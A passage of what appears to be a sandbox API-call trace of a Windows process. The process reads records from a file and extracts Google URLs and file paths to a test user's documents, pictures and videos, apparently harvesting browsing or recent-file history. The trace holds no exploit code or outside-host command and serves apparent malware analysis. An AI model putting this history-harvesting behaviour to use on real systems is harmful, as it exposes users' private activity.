_Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.002] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7800 [0069.002] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.002] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.002] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7800 [0069.002] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.002] _strlwr (in: _Str="http://www.google.de/" | out: _Str="http://www.google.de/") returned="http://www.google.de/" [0069.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="http://www.google.de/") returned 22 [0069.002] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.002] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7900 [0069.002] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.002] _strlwr (in: _Str="https://www.google.de/" | out: _Str="https://www.google.de/") returned="https://www.google.de/" [0069.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="https://www.google.de/") returned 23 [0069.002] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.002] SetFilePointer (in: hFile=0xc4, lDistanceToMove=31232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a00 [0069.002] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.002] _strlwr (in: _Str="http://google.com" | out: _Str="http://google.com") returned="http://google.com" [0069.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="http://google.com") returned 18 [0069.003] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.003] SetFilePointer (in: hFile=0xc4, lDistanceToMove=31488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b00 [0069.003] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.003] _strlwr (in: _Str="https://www.google.de/" | out: _Str="https://www.google.de/") returned="https://www.google.de/" [0069.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="https://www.google.de/") returned 23 [0069.003] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.003] SetFilePointer (in: hFile=0xc4, lDistanceToMove=31872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c80 [0069.003] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.003] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.003] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d00 [0069.003] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.003] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.003] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d80 [0069.003] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.003] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.003] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e00 [0069.003] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.003] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.003] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e80 [0069.003] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.003] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.003] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f00 [0069.003] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.003] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.003] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f80 [0069.003] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.003] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.003] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8000 [0069.003] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0069.003] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.003] SetFilePointer (in: hFile=0xc4, lDistanceToMove=32768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8000 [0069.003] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.004] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/LDY-i67whVYLZ/H1HmWUYWez_O3tM.docx" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/h1hmwuywez_o3tm.docx") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/h1hmwuywez_o3tm.docx" [0069.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/h1hmwuywez_o3tm.docx") returned 98 [0069.004] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.004] SetFilePointer (in: hFile=0xc4, lDistanceToMove=33024, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8100 [0069.004] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.004] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/-noYN-oPT9XgdIzqm/E6gqzQsfU-.ppt" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/e6gqzqsfu-.ppt") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/e6gqzqsfu-.ppt" [0069.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/e6gqzqsfu-.ppt") returned 96 [0069.004] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.004] SetFilePointer (in: hFile=0xc4, lDistanceToMove=33280, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8200 [0069.004] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.004] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/8Hx4XzItippukbDb.ots" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/8hx4xzitippukbdb.ots") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/8hx4xzitippukbdb.ots" [0069.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/8hx4xzitippukbdb.ots") returned 84 [0069.004] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.004] SetFilePointer (in: hFile=0xc4, lDistanceToMove=33536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8300 [0069.004] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.004] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/fcG74r-hLZX8KpasEjR.xls" | out: _Str="file:///c:/users/aetadzjz/desktop/fcg74r-hlzx8kpasejr.xls") returned="file:///c:/users/aetadzjz/desktop/fcg74r-hlzx8kpasejr.xls" [0069.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/fcg74r-hlzx8kpasejr.xls") returned 58 [0069.004] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.004] SetFilePointer (in: hFile=0xc4, lDistanceToMove=33792, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8400 [0069.004] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.004] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/E57Dc0/SrHCKdi.pps" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/srhckdi.pps") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/srhckdi.pps" [0069.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/srhckdi.pps") returned 82 [0069.004] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.004] SetFilePointer (in: hFile=0xc4, lDistanceToMove=34048, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8500 [0069.004] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.005] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/Y8Zipz.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/y8zipz.mkv") returned="file:///c:/users/aetadzjz/videos/y8zipz.mkv" [0069.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/y8zipz.mkv") returned 44 [0069.005] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.005] SetFilePointer (in: hFile=0xc4, lDistanceToMove=34304, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8600 [0069.005] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.005] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/W6ad.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/w6ad.gif") returned="file:///c:/users/aetadzjz/pictures/w6ad.gif" [0069.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/w6ad.gif") returned 44 [0069.005] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.005] SetFilePointer (in: hFile=0xc4, lDistanceToMove=34560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8700 [0069.005] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.005] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/-noYN-oPT9XgdIzqm/OLrYSe9.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/olryse9.pptx") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/olryse9.pptx" [0069.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/olryse9.pptx") returned 94 [0069.005] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.005] SetFilePointer (in: hFile=0xc4, lDistanceToMove=34816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8800 [0069.005] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.005] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/M%20Py5Nq8/GgPYRX2ux.png" | out: _Str="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ggpyrx2ux.png") returned="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ggpyrx2ux.png" [0069.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ggpyrx2ux.png") returned 59 [0069.005] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.005] SetFilePointer (in: hFile=0xc4, lDistanceToMove=35072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8900 [0069.005] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.005] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/1wkvceOJZvfWRnXVCrwl/epGdSRURpJC0tQtqvE.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/epgdsrurpjc0tqtqve.jpg") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/epgdsrurpjc0tqtqve.jpg" [0069.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/epgdsrurpjc0tqtqve.jpg") returned 101 [0069.005] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.005] SetFilePointer (in: hFile=0xc4, lDistanceToMove=35328, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8a00 [0069.006] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.006] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/DMWUzQLjb06L.flv" | out: _Str="file:///c:/users/aetadzjz/desktop/dmwuzqljb06l.flv") returned="file:///c:/users/aetadzjz/desktop/dmwuzqljb06l.flv" [0069.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/dmwuzqljb06l.flv") returned 51 [0069.006] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.006] SetFilePointer (in: hFile=0xc4, lDistanceToMove=35584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8b00 [0069.006] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.006] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/sS5TodkeCRCIzVrpI.flv" | out: _Str="file:///c:/users/aetadzjz/videos/ss5todkecrcizvrpi.flv") returned="file:///c:/users/aetadzjz/videos/ss5todkecrcizvrpi.flv" [0069.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/ss5todkecrcizvrpi.flv") returned 55 [0069.006] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.006] SetFilePointer (in: hFile=0xc4, lDistanceToMove=35840, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c00 [0069.006] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.006] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/4_0E8edvE.flv" | out: _Str="file:///c:/users/aetadzjz/desktop/4_0e8edve.flv") returned="file:///c:/users/aetadzjz/desktop/4_0e8edve.flv" [0069.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/4_0e8edve.flv") returned 48 [0069.006] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.006] SetFilePointer (in: hFile=0xc4, lDistanceToMove=36096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8d00 [0069.006] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.006] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/-noYN-oPT9XgdIzqm/p61kXIAdV1LK3Os9QI3q.rtf" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/p61kxiadv1lk3os9qi3q.rtf") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/p61kxiadv1lk3os9qi3q.rtf" [0069.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/p61kxiadv1lk3os9qi3q.rtf") returned 106 [0069.006] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.006] SetFilePointer (in: hFile=0xc4, lDistanceToMove=36352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8e00 [0069.006] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.006] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/E57Dc0/O4G%208wQL.ots" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/o4g%208wql.ots") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/o4g%208wql.ots" [0069.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/o4g%208wql.ots") returned 85 [0069.006] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.006] SetFilePointer (in: hFile=0xc4, lDistanceToMove=36608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8f00 [0069.007] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.007] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/m4b.xls" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/m4b.xls") returned="file:///c:/users/aetadzjz/appdata/roaming/m4b.xls" [0069.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/m4b.xls") returned 50 [0069.007] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.007] SetFilePointer (in: hFile=0xc4, lDistanceToMove=36864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9000 [0069.007] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.007] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/4C7rg/AlTyeUZ8kE/WOvPFsXpF7LtOV.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/wovpfsxpf7ltov.xlsx") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/wovpfsxpf7ltov.xlsx" [0069.007] 